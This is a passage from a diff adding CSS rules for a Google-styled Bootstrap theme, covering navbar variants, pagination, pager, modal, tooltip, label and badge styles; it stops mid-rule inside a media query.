+.navbar-inverse .btn-navbar { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #0e0e0e; + background-image: -moz-linear-gradient(top, #151515, #040404); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#151515), to(#040404)); + background-image: -webkit-linear-gradient(top, #151515, #040404); + background-image: -o-linear-gradient(top, #151515, #040404); + background-image: linear-gradient(to bottom, #151515, #040404); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff151515', endColorstr='#ff040404', GradientType=0); + border-color: #040404 #040404 #000000; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + *background-color: #040404; + /* Darken IE7 buttons by default so they stand out more given they won't have borders */ + + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.navbar-inverse .btn-navbar:hover, +.navbar-inverse .btn-navbar:active, +.navbar-inverse .btn-navbar.active, +.navbar-inverse .btn-navbar.disabled, +.navbar-inverse .btn-navbar[disabled] { + color: #ffffff; + background-color: #040404; + *background-color: #000000; +} +.navbar-inverse .btn-navbar:active, +.navbar-inverse .btn-navbar.active { + background-color: #000000 \9; +} +.navbar-googlebar .brand { + padding: 12px 20px 12px; +} +.navbar-googlebar .navbar-text { + line-height: 44px; +} +.navbar-googlebar .divider-vertical { + height: 34px; + border-right: 1px solid #f5f5f5; + border-left: 1px solid #f1f1f1; +} +.navbar-googlebar .btn, +.navbar-googlebar .btn-group { + margin-top: 0px; + padding: 4px 12px; +} +.navbar-googlebar .navbar-form input, +.navbar-googlebar .navbar-form select, +.navbar-googlebar .navbar-form .radio, +.navbar-googlebar .navbar-form .checkbox { + margin-top: 7px; + padding: 4px 8px; +} +.navbar-googlebar .navbar-form .btn, +.navbar-googlebar .navbar-form .btn-group { + margin-top: 7px; +} +.navbar-googlebar .navbar-search { + margin-top: 7px; +} +.navbar-googlebar .navbar-search .search-query { + padding: 4px 14px; +} +.navbar-googlebar .navbar-inner { + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + min-height: 44px; + margin: 0px; + color: #999999; + background-color: #f1f1f1; + background-image: -moz-linear-gradient(top, #f1f1f1, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f1f1f1), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f1f1f1, #f1f1f1); + background-image: -o-linear-gradient(top, #f1f1f1, #f1f1f1); + background-image: linear-gradient(to bottom, #f1f1f1, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff1f1f1', endColorstr='#fff1f1f1', GradientType=0); + border: 1px solid #e5e5e5; +} +.navbar-googlebar.navbar-fixed-top, +.navbar-googlebar.navbar-fixed-bottom { + z-index: 1029; +} +.navbar-googlebar .nav { + margin-top: 5px; +} +.navbar-googlebar .nav > li > a { + float: none; + padding: 8px 15px; + font-weight: normal; + color: #777777; + text-decoration: none; + text-shadow: 0 1px 0 #f5f5f5; +} +.navbar-googlebar .nav .dropdown-toggle .caret { + margin-top: 8px; +} +.navbar-googlebar .nav > li > a:focus, +.navbar-googlebar .nav > li > a:hover { + text-decoration: none; + background-color: transparent; + color: #333333; +} +.navbar-googlebar .nav > .active > a, +.navbar-googlebar .nav > .active > a:hover, +.navbar-googlebar .nav > .active > a:focus { + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + color: #333333; + text-decoration: none; + background-color: #f1f1f1; + background-image: -moz-linear-gradient(top, #f1f1f1, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f1f1f1), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f1f1f1, #f1f1f1); + background-image: -o-linear-gradient(top, #f1f1f1, #f1f1f1); + background-image: linear-gradient(to bottom, #f1f1f1, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff1f1f1', endColorstr='#fff1f1f1', GradientType=0); +} +.navbar-googlebar .btn-navbar { + padding: 4px 10px 7px; + margin-top: 9px; + background-color: #f3f3f3; + background-image: -moz-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -o-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: linear-gradient(to bottom, #f5f5f5, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff1f1f1', GradientType=0); + border: 1px solid #dcdcdc; +} +.navbar-googlebar.navbar-inverse { + color: #999999; +} +.navbar-googlebar.navbar-inverse .navbar-inner { + border-color: #333333; + background-color: #4e4e4e; + background-image: -moz-linear-gradient(top, #555555, #444444); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#555555), to(#444444)); + background-image: -webkit-linear-gradient(top, #555555, #444444); + background-image: -o-linear-gradient(top, #555555, #444444); + background-image: linear-gradient(to bottom, #555555, #444444); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff555555', endColorstr='#ff444444', GradientType=0); +} +.navbar-googlebar.navbar-inverse .brand, +.navbar-googlebar.navbar-inverse .nav > li > a { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); +} +.navbar-googlebar.navbar-inverse .brand:hover, +.navbar-googlebar.navbar-inverse .nav > li > a:hover { + color: #ffffff; +} +.navbar-googlebar.navbar-inverse .nav > li > a:focus, +.navbar-googlebar.navbar-inverse .nav > li > a:hover { + color: #ffffff; + background-color: transparent; +} +.navbar-googlebar.navbar-inverse .nav .active > a, +.navbar-googlebar.navbar-inverse .nav .active > a:hover, +.navbar-googlebar.navbar-inverse .nav .active > a:focus { + color: #ffffff; + background-color: #444444; + background-image: -moz-linear-gradient(top, #444444, #444444); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#444444), to(#444444)); + background-image: -webkit-linear-gradient(top, #444444, #444444); + background-image: -o-linear-gradient(top, #444444, #444444); + background-image: linear-gradient(to bottom, #444444, #444444); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff444444', endColorstr='#ff444444', GradientType=0); +} +.navbar-googlebar.navbar-inverse .navbar-link { + color: #ffffff; +} +.navbar-googlebar.navbar-inverse .navbar-link:hover { + color: #ffffff; +} +.navbar-googlebar.navbar-inverse .divider-vertical { + border-right-color: #555555; + border-left-color: #444444; +} +.navbar-googlebar.navbar-inverse .nav li.dropdown.open > .dropdown-toggle, +.navbar-googlebar.navbar-inverse .nav li.dropdown.active > .dropdown-toggle, +.navbar-googlebar.navbar-inverse .nav li.dropdown.open.active > .dropdown-toggle { + color: #ffffff; + background-color: #444444; +} +.navbar-googlebar.navbar-inverse .nav li.dropdown > .dropdown-toggle .caret { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.navbar-googlebar.navbar-inverse .nav li.dropdown.open > .dropdown-toggle .caret, +.navbar-googlebar.navbar-inverse .nav li.dropdown.active > .dropdown-toggle .caret, +.navbar-googlebar.navbar-inverse .nav li.dropdown.open.active > .dropdown-toggle .caret { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.navbar-googlebar.navbar-inverse .navbar-search .search-query { + -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15); + -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15); + box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15); + -webkit-transition: none; + -moz-transition: none; + -o-transition: none; + transition: none; + color: #ffffff; + background-color: #515151; + border-color: #444444; +} +.navbar-googlebar.navbar-inverse .navbar-search .search-query:-moz-placeholder { + color: #cccccc; +} +.navbar-googlebar.navbar-inverse .navbar-search .search-query:-ms-input-placeholder { + color: #cccccc; +} +.navbar-googlebar.navbar-inverse .navbar-search .search-query::-webkit-input-placeholder { + color: #cccccc; +} +.navbar-googlebar.navbar-inverse .navbar-search .search-query:focus, +.navbar-googlebar.navbar-inverse .navbar-search .search-query.focused { + -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); + -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); + box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); + padding: 5px 15px; + color: #333333; + text-shadow: 0 1px 0 #ffffff; + background-color: #ffffff; + border: 0; + outline: 0; +} +.navbar-googlebar.navbar-inverse .btn-navbar { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #414141; + background-image: -moz-linear-gradient(top, #484848, #373737); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#484848), to(#373737)); + background-image: -webkit-linear-gradient(top, #484848, #373737); + background-image: -o-linear-gradient(top, #484848, #373737); + background-image: linear-gradient(to bottom, #484848, #373737); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff484848', endColorstr='#ff373737', GradientType=0); + border-color: #373737 #373737 #111111; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + *background-color: #373737; + /* Darken IE7 buttons by default so they stand out more given they won't have borders */ + + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.navbar-googlebar.navbar-inverse .btn-navbar:hover, +.navbar-googlebar.navbar-inverse .btn-navbar:active, +.navbar-googlebar.navbar-inverse .btn-navbar.active, +.navbar-googlebar.navbar-inverse .btn-navbar.disabled, +.navbar-googlebar.navbar-inverse .btn-navbar[disabled] { + color: #ffffff; + background-color: #373737; + *background-color: #2b2b2b; +} +.navbar-googlebar.navbar-inverse .btn-navbar:active, +.navbar-googlebar.navbar-inverse .btn-navbar.active { + background-color: #1e1e1e \9; +} +.navbar-googlenav .brand, +.navbar-googlenav .brand .btn { + padding: 8px 20px 8px; + font-size: 16px; + font-weight: bold; + color: #dd4b39; + text-shadow: none; +} +.navbar-googlenav .navbar-text { + margin-top: 0px; + line-height: 36px; +} +.navbar-googlenav .divider-vertical { + height: 34px; + margin: 0 9px; + border-right: 1px solid #ffffff; + border-left: 1px solid #f2f2f2; +} +.navbar-googlenav .btn-toolbar { + margin: 0; +} +.navbar-googlenav .btn, +.navbar-googlenav .btn-group { + margin-top: 3px; +} +.navbar-googlenav .btn { + padding: 4px 12px; +} +.navbar-googlenav .btn, +.navbar-googlenav .btn-small, +.navbar-googlenav .btn-group > .btn, +.navbar-googlenav .btn-group > .btn-small { + font-size: 11.049999999999999px; +} +.navbar-googlenav .btn-mini, +.navbar-googlenav .btn-group > .btn-mini { + font-size: 9.75px; +} +.navbar-googlenav .btn-large, +.navbar-googlenav .btn-group > .btn-large { + font-size: 16.25px; +} +.navbar-googlenav .navbar-form input, +.navbar-googlenav .navbar-form select, +.navbar-googlenav .navbar-form .radio, +.navbar-googlenav .navbar-form .checkbox { + margin-top: 3px; + padding: 4px 8px; +} +.navbar-googlenav .navbar-form .btn, +.navbar-googlenav .navbar-form .btn-group { + margin-top: 3px; +} +.navbar-googlenav .navbar-search { + margin-top: 3px; +} +.navbar-googlenav .navbar-search .search-query { + padding: 4px 14px; +} +.navbar-googlenav .navbar-inner { + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + min-height: 36px; + margin: 0px; + color: #999999; + background-color: #ffffff; + background-image: -moz-linear-gradient(top, #ffffff, #ffffff); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#ffffff)); + background-image: -webkit-linear-gradient(top, #ffffff, #ffffff); + background-image: -o-linear-gradient(top, #ffffff, #ffffff); + background-image: linear-gradient(to bottom, #ffffff, #ffffff); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffffffff', GradientType=0); + border: 1px solid #d7d7d7; +} +.navbar-googlenav.navbar-fixed-top, +.navbar-googlenav.navbar-fixed-bottom { + z-index: 1028; +} +.navbar-googlenav.navbar-fixed-top .divider-vertical, +.navbar-googlenav.navbar-fixed-bottom .divider-vertical, +.navbar-googlenav.navbar-static-top .divider-vertical { + height: 35px; +} +.navbar-googlenav .nav > li { + position: relative; +} +.navbar-googlenav .nav > li > a { + padding: 8px 15px 8px; + color: #777777; + text-shadow: none; +} +.navbar-googlenav .nav > li > a.brand { + color: #dd4b39; +} +.navbar-googlenav .nav > .active > a { + font-weight: bold; +} +.navbar-googlenav .nav > .active > a:before { + position: absolute; + bottom: -1px; + left: 50%; + display: inline-block; + margin-left: -8px; + /* value should match border-width below */ + + border-right: 8px solid transparent; + border-bottom: 8px solid #d7d7d7; + border-left: 8px solid transparent; + content: ''; +} +.navbar-googlenav .nav > .active > a:after { + position: absolute; + bottom: -1px; + left: 50%; + display: inline-block; + margin-left: -7px; + /* value should match border-width below */ + + border-right: 7px solid transparent; + border-bottom: 7px solid #ffffff; + border-left: 7px solid transparent; + content: ''; +} +.navbar-googlenav .nav > .active > a, +.navbar-googlenav .nav > .active > a:hover, +.navbar-googlenav .nav > .active > a:focus { + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + color: #333333; + background-color: #f2f2f2; +} +.navbar-googlenav .nav > li > a:focus, +.navbar-googlenav .nav > li > a:hover { + color: #333333; + text-decoration: underline; + background-color: transparent; +} +.navbar-googlenav .btn-navbar { + padding: 4px 10px 7px; + margin-top: 5px; + background-color: #f3f3f3; + background-image: -moz-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -o-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: linear-gradient(to bottom, #f5f5f5, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff1f1f1', GradientType=0); + border: 1px solid #dcdcdc; +} +.navbar-googlenav .nav > li > .dropdown-menu { + border-top-width: 0; +} +.navbar-googlenav .nav > li > .dropdown-menu:before { + display: none; +} +.navbar-googlenav .nav > li > .dropdown-menu:after { + display: none; +} +.navbar-googlenav .nav li.dropdown.open > .dropdown-toggle, +.navbar-googlenav .nav li.dropdown.active > .dropdown-toggle, +.navbar-googlenav .nav li.dropdown.open.active > .dropdown-toggle { + background-color: #f2f2f2; +} +.navbar-googlenav .nav > li > a.brand:focus, +.navbar-googlenav .nav > li > a.brand:hover { + color: #dd4b39; + text-decoration: none; +} +.navbar-googlenav .nav li.dropdown.open > .brand.dropdown-toggle, +.navbar-googlenav .nav li.dropdown.active > .brand.dropdown-toggle, +.navbar-googlenav .nav li.dropdown.open.active > .brand.dropdown-toggle { + background-color: #f2f2f2; + color: #dd4b39; + text-decoration: none; +} +.navbar-googlenav .nav li.dropdown > .brand.dropdown-toggle .caret { + border-top-color: #dd4b39; + border-bottom-color: #dd4b39; +} +.navbar-googlenav.navbar-inverse { + color: #999999; +} +.navbar-googlenav.navbar-inverse .navbar-inner { + border-color: #333333; + background-color: #4e4e4e; + background-image: -moz-linear-gradient(top, #555555, #444444); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#555555), to(#444444)); + background-image: -webkit-linear-gradient(top, #555555, #444444); + background-image: -o-linear-gradient(top, #555555, #444444); + background-image: linear-gradient(to bottom, #555555, #444444); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff555555', endColorstr='#ff444444', GradientType=0); + background: #444444; +} +.navbar-googlenav.navbar-inverse .brand, +.navbar-googlenav.navbar-inverse .nav > li > a { + font-weight: normal; + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); +} +.navbar-googlenav.navbar-inverse .brand:hover, +.navbar-googlenav.navbar-inverse .nav > li > a:hover { + color: #ffffff; +} +.navbar-googlenav.navbar-inverse .nav > li > a:focus, +.navbar-googlenav.navbar-inverse .nav > li > a:hover { + color: #ffffff; + background-color: transparent; +} +.navbar-googlenav.navbar-inverse .nav .active > a, +.navbar-googlenav.navbar-inverse .nav .active > a:hover, +.navbar-googlenav.navbar-inverse .nav .active > a:focus { + font-weight: bold; + color: #ffffff; + background-color: #444444; +} +.navbar-googlenav.navbar-inverse .nav .active > a:hover { + text-decoration: underline; +} +.navbar-googlenav.navbar-inverse .navbar-link { + color: #ffffff; +} +.navbar-googlenav.navbar-inverse .navbar-link:hover { + color: #ffffff; +} +.navbar-googlenav.navbar-inverse .divider-vertical { + border-right-color: #555555; + border-left-color: #444444; +} +.navbar-googlenav.navbar-inverse .nav li.dropdown.open > .dropdown-toggle, +.navbar-googlenav.navbar-inverse .nav li.dropdown.active > .dropdown-toggle, +.navbar-googlenav.navbar-inverse .nav li.dropdown.open.active > .dropdown-toggle { + color: #ffffff; + background-color: #444444; +} +.navbar-googlenav.navbar-inverse .nav li.dropdown > .dropdown-toggle .caret { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.navbar-googlenav.navbar-inverse .nav li.dropdown.open > .dropdown-toggle .caret, +.navbar-googlenav.navbar-inverse .nav li.dropdown.active > .dropdown-toggle .caret, +.navbar-googlenav.navbar-inverse .nav li.dropdown.open.active > .dropdown-toggle .caret { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.navbar-googlenav.navbar-inverse .navbar-search .search-query { + -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15); + -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15); + box-shadow: inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15); + -webkit-transition: none; + -moz-transition: none; + -o-transition: none; + transition: none; + color: #ffffff; + background-color: #515151; + border-color: #444444; +} +.navbar-googlenav.navbar-inverse .navbar-search .search-query:-moz-placeholder { + color: #cccccc; +} +.navbar-googlenav.navbar-inverse .navbar-search .search-query:-ms-input-placeholder { + color: #cccccc; +} +.navbar-googlenav.navbar-inverse .navbar-search .search-query::-webkit-input-placeholder { + color: #cccccc; +} +.navbar-googlenav.navbar-inverse .navbar-search .search-query:focus, +.navbar-googlenav.navbar-inverse .navbar-search .search-query.focused { + -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); + -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); + box-shadow: 0 0 3px rgba(0, 0, 0, 0.15); + padding: 5px 15px; + color: #333333; + text-shadow: 0 1px 0 #ffffff; + background-color: #ffffff; + border: 0; + outline: 0; +} +.navbar-googlenav.navbar-inverse .btn-navbar { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #373737; + background-image: -moz-linear-gradient(top, #373737, #373737); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#373737), to(#373737)); + background-image: -webkit-linear-gradient(top, #373737, #373737); + background-image: -o-linear-gradient(top, #373737, #373737); + background-image: linear-gradient(to bottom, #373737, #373737); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff373737', endColorstr='#ff373737', GradientType=0); + border-color: #373737 #373737 #111111; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + *background-color: #373737; + /* Darken IE7 buttons by default so they stand out more given they won't have borders */ + + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.navbar-googlenav.navbar-inverse .btn-navbar:hover, +.navbar-googlenav.navbar-inverse .btn-navbar:active, +.navbar-googlenav.navbar-inverse .btn-navbar.active, +.navbar-googlenav.navbar-inverse .btn-navbar.disabled, +.navbar-googlenav.navbar-inverse .btn-navbar[disabled] { + color: #ffffff; + background-color: #373737; + *background-color: #2b2b2b; +} +.navbar-googlenav.navbar-inverse .btn-navbar:active, +.navbar-googlenav.navbar-inverse .btn-navbar.active { + background-color: #1e1e1e \9; +} +.navbar-fixed-top .navbar-inner, +.navbar-static-top .navbar-inner { + border-width: 0 0 1px; +} +.navbar-fixed-bottom .navbar-inner { + border-width: 1px 0 0; +} +.breadcrumb { + background-color: #f3f3f3; + background-image: -moz-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -o-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: linear-gradient(to bottom, #f5f5f5, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff1f1f1', GradientType=0); + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; +} +.pagination ul { + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; +} +.pagination ul > li > a, +.pagination ul > li > span { + background-color: #f3f3f3; + border: 1px solid #dcdcdc; + border-left-width: 0; + color: #333333; +} +.pagination ul > li > a:hover, +.pagination ul > .active > a, +.pagination ul > .active > span { + background-color: #f5f5f5; + border-color: #c6c6c6; + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); +} +.pagination ul > li > a:active { + background-image: -moz-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f6f6f6), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: -o-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: linear-gradient(to bottom, #f6f6f6, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff6f6f6', endColorstr='#fff1f1f1', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #f4f4f4; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); +} +.pagination ul > .active > a, +.pagination ul > .active > span { + color: #4D90FE; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} +.pagination ul > .disabled > span, +.pagination ul > .disabled > a, +.pagination ul > .disabled > a:hover { + color: #b3b3b3; + border-color: #d9d9d9; + background-image: -moz-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -o-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: linear-gradient(to bottom, #f5f5f5, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff1f1f1', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #f3f3f3; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + text-shadow: none; +} +.pagination .disabled a [class^="icon-"] { + opacity: 0.3; + filter: alpha(opacity=30); +} +.pagination ul > li:first-child > a, +.pagination ul > li:first-child > span { + margin-left: 0; + -webkit-border-radius: 2px 0 0 2px; + -moz-border-radius: 2px 0 0 2px; + border-radius: 2px 0 0 2px; +} +.pagination ul > li:last-child > a, +.pagination ul > li:last-child > span { + -webkit-border-radius: 0 2px 2px 0; + -moz-border-radius: 0 2px 2px 0; + border-radius: 0 2px 2px 0; +} +.pager li > a { + padding: 4px 12px; + border: 1px solid #dcdcdc; + background-color: #f3f3f3; + background-image: -moz-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -o-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: linear-gradient(to bottom, #f5f5f5, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff1f1f1', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #f5f5f5; + color: #333; + text-shadow: 0 1px 0 #fff; + text-decoration: none; + white-space: nowrap; + font-weight: bold; + cursor: default; + outline: none; + overflow: visible; +} +.pager li > a:hover { + border-color: #c6c6c6; + background-color: #f5f5f5; + background-image: -moz-linear-gradient(top, #f8f8f8, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f8f8f8), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f8f8f8, #f1f1f1); + background-image: -o-linear-gradient(top, #f8f8f8, #f1f1f1); + background-image: linear-gradient(to bottom, #f8f8f8, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff8f8f8', endColorstr='#fff1f1f1', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #f1f1f1; + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); +} +.pager li > a:active { + background-color: #f4f4f4; + background-image: -moz-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f6f6f6), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: -o-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: linear-gradient(to bottom, #f6f6f6, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff6f6f6', endColorstr='#fff1f1f1', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #f1f1f1; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); +} +.pager .disabled a, +.pager .disabled a:hover { + color: #b3b3b3; + border-color: #d9d9d9; + background-image: -moz-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -o-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: linear-gradient(to bottom, #f5f5f5, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff1f1f1', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #f3f3f3; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + text-shadow: none; +} +.modal-backdrop { + background-color: #ffffff; +} +.modal-backdrop.fade { + opacity: 0; +} +.modal-backdrop, +.modal-backdrop.fade.in { + opacity: 0.75; + filter: alpha(opacity=75); +} +.modal { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.tooltip { + font-weight: bold; +} +.tooltip.in { + opacity: 1; + filter: alpha(opacity=100); +} +.tooltip-inner { + -webkit-border-radius: 0px; + -moz-border-radius: 0px; + border-radius: 0px; +} +.popover { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.popover .popover-title { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.thumbnail { + padding: 0; + border: 3px solid #ffffff; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; + -webkit-box-shadow: 0 0 0 1px #aaaaaa; + -moz-box-shadow: 0 0 0 1px #aaaaaa; + box-shadow: 0 0 0 1px #aaaaaa; + -webkit-transition: none; + -moz-transition: none; + -o-transition: none; + transition: none; +} +a.thumbnail:hover { + border-color: #ffffff; + -webkit-box-shadow: 0 0 0 1px #dedede; + -moz-box-shadow: 0 0 0 1px #dedede; + box-shadow: 0 0 0 1px #dedede; +} +.thumbnail .caption { + padding: 9px 4px; + color: #000000; +} +.label { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.label-important, +.badge-important { + background-color: #dd4b39; +} +.label-important[href], +.badge-important[href] { + background-color: #c23321; +} +.label-warning, +.badge-warning { + background-color: #f89406; +} +.label-warning[href], +.badge-warning[href] { + background-color: #c67605; +} +.label-success, +.badge-success { + background-color: #468847; +} +.label-success[href], +.badge-success[href] { + background-color: #356635; +} +.label-info, +.badge-info { + background-color: #3a87ad; +} +.label-info[href], +.badge-info[href] { + background-color: #2d6987; +} +.label-inverse, +.badge-inverse { + background-color: #333333; +} +.label-inverse[href], +.badge-inverse[href] { + background-color: #1a1a1a; +} +.progress { + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; +} +@media (max-width: 979px) { + .navbar-googlebar.navbar-fixed-top .navbar-inner, + .navbar-googlebar.navbar-fixed-bottom .navbar-inner { + padding: 0; + } + .navbar-googlebar .nav-collapse .nav > .active > a { + color: #333333; + background-color: #f5f5f5; + } + .navbar-googlebar 